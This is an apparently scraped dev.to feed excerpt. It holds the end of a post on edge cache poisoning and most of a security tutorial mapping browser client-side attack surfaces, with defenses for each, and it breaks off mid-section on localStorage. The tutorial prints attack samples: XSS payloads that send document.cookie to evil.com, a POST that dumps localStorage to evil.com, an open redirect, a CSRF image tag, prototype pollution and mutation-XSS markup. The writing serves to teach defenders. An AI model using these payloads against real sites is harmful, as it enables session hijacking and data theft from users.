&lt;p&gt;What can you actually do with this?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;XSS at scale&lt;/strong&gt; — Poison a cached JS file reference with an attacker-controlled URL. Every user who loads the page executes your script.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Open redirect poisoning&lt;/strong&gt; — Inject a redirect header into a cached response. Phishing at CDN speed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSP bypass&lt;/strong&gt; — If a Worker constructs the &lt;code&gt;Content-Security-Policy&lt;/code&gt; header using request input, poison it to remove restrictions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API response poisoning&lt;/strong&gt; — Poison cached API responses to return attacker-controlled data to mobile apps or SPAs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The blast radius on edge cache poisoning is enormous. A single poisoned response on a high-traffic route can hit millions of users before the TTL expires.&lt;/p&gt;




&lt;h2&gt;
  
  
  Defenses
&lt;/h2&gt;

&lt;p&gt;If you're a developer or security engineer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Explicitly define cache keys&lt;/strong&gt; in your Worker/middleware. Never rely on defaults.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strip all non-essential headers&lt;/strong&gt; before forwarding to origin.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never use attacker-controlled input in &lt;code&gt;cache.put()&lt;/code&gt; keys&lt;/strong&gt; without strict validation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Add headers you key on to &lt;code&gt;Vary&lt;/code&gt;&lt;/strong&gt; — and verify your CDN respects it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor for cache anomalies&lt;/strong&gt; — sudden changes in cached response hashes are a red flag.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit your middleware&lt;/strong&gt; for any logic that reads request headers and passes them downstream.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Wrapping Up
&lt;/h2&gt;

&lt;p&gt;Edge runtimes are powerful. They're also a fundamentally new attack surface that the security community is only beginning to map.&lt;/p&gt;

&lt;p&gt;The classic web cache poisoning playbook still works. But if your target is running Cloudflare Workers or Vercel Edge Middleware, you need to think about the Worker as a distinct layer with its own logic, its own cache access, and its own header mutations — all of which can introduce new poisoning vectors that nobody documented yet.&lt;/p&gt;

&lt;p&gt;This is where the next wave of cache poisoning research is going to come from. The edge is the new origin.&lt;/p&gt;

&lt;p&gt;Go find bugs.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Found something interesting in an edge runtime? Drop a comment or hit me up on X. This research area is wide open and collaboration is how we map it.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;#WebSecurity&lt;/code&gt; &lt;code&gt;#CachePoisoning&lt;/code&gt; &lt;code&gt;#CloudflareWorkers&lt;/code&gt; &lt;code&gt;#VercelEdge&lt;/code&gt; &lt;code&gt;#BugBounty&lt;/code&gt; &lt;code&gt;#AppSec&lt;/code&gt; &lt;code&gt;#EthicalHacking&lt;/code&gt; &lt;code&gt;#CDNSecurity&lt;/code&gt;&lt;/p&gt;

</description>
      <category>websecurity</category>
      <category>cachepoisoning</category>
      <category>appsec</category>
      <category>bugbounty</category>
    </item>
    <item>
      <title>Client-Side Attack Surface: Everything Inside the Browser Is a Weapon(part-2)</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Sun, 28 Jun 2026 06:42:01 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/client-side-attack-surface-everything-inside-the-browser-is-a-weaponpart-2-3kmn</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/client-side-attack-surface-everything-inside-the-browser-is-a-weaponpart-2-3kmn</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"The browser isn't just a viewport. It's an operating system. And like every OS, every feature is an attack surface waiting to be discovered."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If Part 1 was about the walls, this is about what's &lt;em&gt;inside&lt;/em&gt; the walls.&lt;/p&gt;

&lt;p&gt;The browser's security model is impressive. But it was never designed to protect against an attacker who's already inside — through a compromised dependency, an XSS payload, a malicious extension, or a supply-chain backdoor. Once that line is crossed, every browser API becomes a potential instrument of attack.&lt;/p&gt;

&lt;p&gt;I'm going to walk you through every node of the browser's client-side surface — not just what it does, but how I've seen each one abused. Think of this as a field guide to the attack surface map every ethical hacker keeps in their head.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Map
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser
│
├── URL               ← Entry point for injection &amp;amp; manipulation
├── DOM               ← XSS playground
├── JavaScript        ← The attacker's runtime
├── Cookies           ← Session theft
├── LocalStorage      ← Persistent data theft
├── SessionStorage    ← Tab-scoped secrets
├── IndexedDB         ← Structured data exfiltration
├── Clipboard         ← Data in transit
├── Password Manager  ← Credential harvesting
├── Camera            ← Silent surveillance
├── Microphone        ← Passive interception
├── Geolocation       ← Physical tracking
├── Notifications     ← Phishing vector
├── Downloads         ← Malware delivery
├── Extensions        ← Privileged access abuse
├── Service Workers   ← Persistent browser implants
├── WebSockets        ← Covert channels
├── postMessage       ← Cross-frame exploitation
├── WebAssembly       ← Obfuscated malicious code
└── Browser APIs      ← Fingerprinting &amp;amp; leakage
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's go node by node.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. URL — The First Line of Injection
&lt;/h2&gt;

&lt;p&gt;The URL is user-controlled input. Everything in it — scheme, host, path, query, fragment, even the username:password fields — can be weaponized.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attack Vectors
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Open Redirect&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://app.com/redirect?to=https://evil.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trusted domain, attacker-controlled destination. Used in phishing flows to borrow legitimacy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fragment-Based XSS (DOM XSS)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://app.com/#&amp;lt;img src=x onerror=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fragment never reaches the server — it's processed entirely client-side. Server-side WAFs are blind to it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;URL Parameter Injection&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://app.com/search?q=&amp;lt;script&amp;gt;fetch('https://evil.com?c='+document.cookie)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the query parameter is reflected in the DOM without sanitization, game over.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protocol Confusion&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;javascript:alert(1)  // In href attributes
data:text/html,...   // Content injection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Validate and allowlist redirect destinations server-side&lt;/li&gt;
&lt;li&gt;Never use &lt;code&gt;location.hash&lt;/code&gt; or &lt;code&gt;URLSearchParams&lt;/code&gt; to set &lt;code&gt;innerHTML&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;encodeURIComponent()&lt;/code&gt; for all URL parameter values&lt;/li&gt;
&lt;li&gt;CSP &lt;code&gt;navigate-to&lt;/code&gt; directive limits navigation targets&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. DOM — The Battlefield
&lt;/h2&gt;

&lt;p&gt;The Document Object Model is the live representation of everything on the page. It's also where XSS lives.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Sink Problem
&lt;/h3&gt;

&lt;p&gt;DOM XSS occurs when &lt;strong&gt;attacker-controlled data flows into a dangerous sink&lt;/strong&gt; without sanitization:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dangerous Sinks&lt;/th&gt;
&lt;th&gt;What They Do&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;innerHTML&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parses HTML, executes event handlers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;outerHTML&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Replaces element with arbitrary HTML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;document.write()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Injects raw HTML into document&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;eval()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executes string as JavaScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setTimeout(string)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deferred eval&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;location.href = input&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Navigation injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;src&lt;/code&gt; on &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Remote script load&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  The Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Source: attacker-controlled&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Sink: dangerous DOM write&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#greeting&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello, &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Payload: ?name=&amp;lt;img src=x onerror=fetch('https://evil.com?c='+document.cookie)&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Mutation XSS (mXSS)
&lt;/h3&gt;

&lt;p&gt;Sanitizers can be bypassed by crafting HTML that is &lt;em&gt;safe&lt;/em&gt; when parsed, but &lt;em&gt;becomes dangerous&lt;/em&gt; after the browser re-serializes it through the DOM. The browser's HTML parser is a source of truth no sanitizer perfectly emulates.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Input, looks safe --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;svg&amp;gt;&amp;lt;p&amp;gt;&amp;lt;style&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;x&lt;/span&gt; &lt;span class="nt"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;alert&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- After DOM mutation — dangerous --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;svg&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;style&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;x&lt;/span&gt; &lt;span class="nt"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;alert&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;textContent&lt;/code&gt; instead of &lt;code&gt;innerHTML&lt;/code&gt; wherever possible&lt;/li&gt;
&lt;li&gt;Use the &lt;a href="https://github.com/cure53/DOMPurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt; library for any HTML rendering&lt;/li&gt;
&lt;li&gt;Enable the Trusted Types API to enforce safe DOM writes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Content-Security-Policy: trusted-types default&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. JavaScript — The Attacker's Native Runtime
&lt;/h2&gt;

&lt;p&gt;Once JS runs on your origin, the attacker has access to everything SOP permits. That's the entire page, all storage, all cookies (without &lt;code&gt;HttpOnly&lt;/code&gt;), all in-flight requests.&lt;/p&gt;

&lt;h3&gt;
  
  
  Supply Chain Attacks
&lt;/h3&gt;

&lt;p&gt;The most underrated JS attack surface isn't your code — it's your dependencies.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;package.json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"left-pad"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^1.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;million&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;weekly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;downloads&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"event-stream"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^3.3.4"&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Compromised&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;steal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Bitcoin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;wallets&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A single compromised npm package injected into millions of sites. The attacker doesn't need to hack you — they hack a package you trust.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prototype Pollution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Attacker-controlled JSON merge&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;merge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// Dangerous if key is "__proto__"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;({},&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"__proto__": {"isAdmin": true}}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;({}.&lt;/span&gt;&lt;span class="nx"&gt;isAdmin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// true — every object is now admin&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prototype pollution can escalate to RCE in Node.js environments and bypass authorization checks in browsers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Use Subresource Integrity (SRI) for all third-party scripts&lt;/li&gt;
&lt;li&gt;Lock dependency versions with &lt;code&gt;package-lock.json&lt;/code&gt; + audit with &lt;code&gt;npm audit&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Consider a Content Security Policy to limit script sources&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;Object.create(null)&lt;/code&gt; for dictionaries that accept user keys&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4. Cookies — Session Tokens on a Silver Platter
&lt;/h2&gt;

&lt;p&gt;Cookies are the primary mechanism for maintaining authenticated sessions. They're also one of the most stolen artifacts on the web.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Theft Vectors
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;XSS Cookie Theft (when HttpOnly is missing)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/steal?c=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;CSRF (when SameSite is missing)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- On evil.com --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://bank.com/transfer?to=attacker&amp;amp;amount=5000"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser sends cookies automatically. No JS required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cookie Tossing&lt;/strong&gt;&lt;br&gt;
If &lt;code&gt;app.com&lt;/code&gt; and &lt;code&gt;sub.app.com&lt;/code&gt; are both in scope, a cookie set on &lt;code&gt;sub.app.com&lt;/code&gt; with no &lt;code&gt;Domain&lt;/code&gt; attribute can still interfere with the parent domain's cookies in some browsers.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Secure Cookie Checklist
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session=abc123;
  HttpOnly;           ← Block JS access
  Secure;             ← HTTPS only
  SameSite=Strict;    ← No cross-site sending
  Path=/;             ← Scope to app
  Max-Age=3600;       ← Explicit expiry
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;What It Prevents&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HttpOnly&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;XSS cookie theft&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Secure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Network interception&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SameSite=Strict&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CSRF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CSRF on navigation (balance)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;__Host-&lt;/code&gt; prefix&lt;/td&gt;
&lt;td&gt;Cookie scope confusion&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  The Cookie Prefix Trick
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: __Host-session=abc; Secure; Path=/; SameSite=Strict
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;__Host-&lt;/code&gt; prefix forces &lt;code&gt;Secure&lt;/code&gt;, no &lt;code&gt;Domain&lt;/code&gt;, and &lt;code&gt;Path=/&lt;/code&gt; — making it impossible to scope to a subdomain, hardening against cookie injection.&lt;/p&gt;


&lt;h2&gt;
  
  
  5. LocalStorage — Persistent, Accessible, Unencrypted
&lt;/h2&gt;

&lt;p&gt;LocalStorage persists across sessions and survives browser restarts. It's scoped to origin. And it is completely accessible to any JavaScript running on that origin — including injected scripts.&lt;/p&gt;
&lt;h3&gt;
  
  
  What Attackers Look For
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// One liner to exfiltrate everything&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/dump&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;I've found JWTs, API keys, user PII, OAuth tokens, and entire application state objects sitting in &lt;code&gt;localStorage&lt;/code&gt;. Developers store them there because it's convenient. Attackers love convenience.&lt;/p&gt;
&lt;h3&gt;
  
  
  The JWT in LocalStorage Problem
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Common but dangerous pattern&lt;/span&gt;
&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// vs. the secure pattern&lt;/span&gt;
&lt;span class="c1"&gt;// Store in HttpOnly cookie — JS can't touch it&lt;/span&gt;
